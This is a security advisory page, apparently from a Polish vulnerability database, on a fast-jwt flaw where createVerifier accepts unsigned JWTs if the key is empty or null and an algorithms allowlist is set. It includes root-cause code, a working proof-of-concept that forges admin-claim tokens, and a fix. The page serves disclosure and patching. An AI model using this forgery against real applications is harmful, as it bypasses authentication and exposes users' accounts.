Wysoka

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

  • Ujawniono: 08.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js
function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js
const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js
if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

  • createSigner({ key: '' }) / key: null → rejected
  • createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
  • createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
js
// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

  1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
  2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js
if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

js
if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm fast-jwt < 6.3.1 6.3.1

Odnośniki

Ocena CVSS 7.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-20, CWE-347
Platforma
npm
Paczka
fast-jwt
Ujawniono
08.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-8wpc-h4q6-8fxv - CC BY 4.0

Historia podatności: fast-jwt

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (14) w archiwum
Wszystkich wpisów
14
Pierwsza → ostatnia
11.2023 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 4
  • Wysoka 4
  • Średnia 6

Ujawnienia w latach

  1. 2023: 1
  2. 2024: 0
  3. 2025: 1
  4. 2026: 12
Istotność:
  1. fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set ten wpis
    Wysoka · 7.4 CVE-2026-107720 < 6.3.1 6.3.1
  2. Wysoka · 7.4 CVE-2026-107724 >= 6.2.4, < 6.3.0 6.3.0
  3. Wysoka · 7.5 CVE-2026-35042 <= 6.1.0 brak poprawki

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.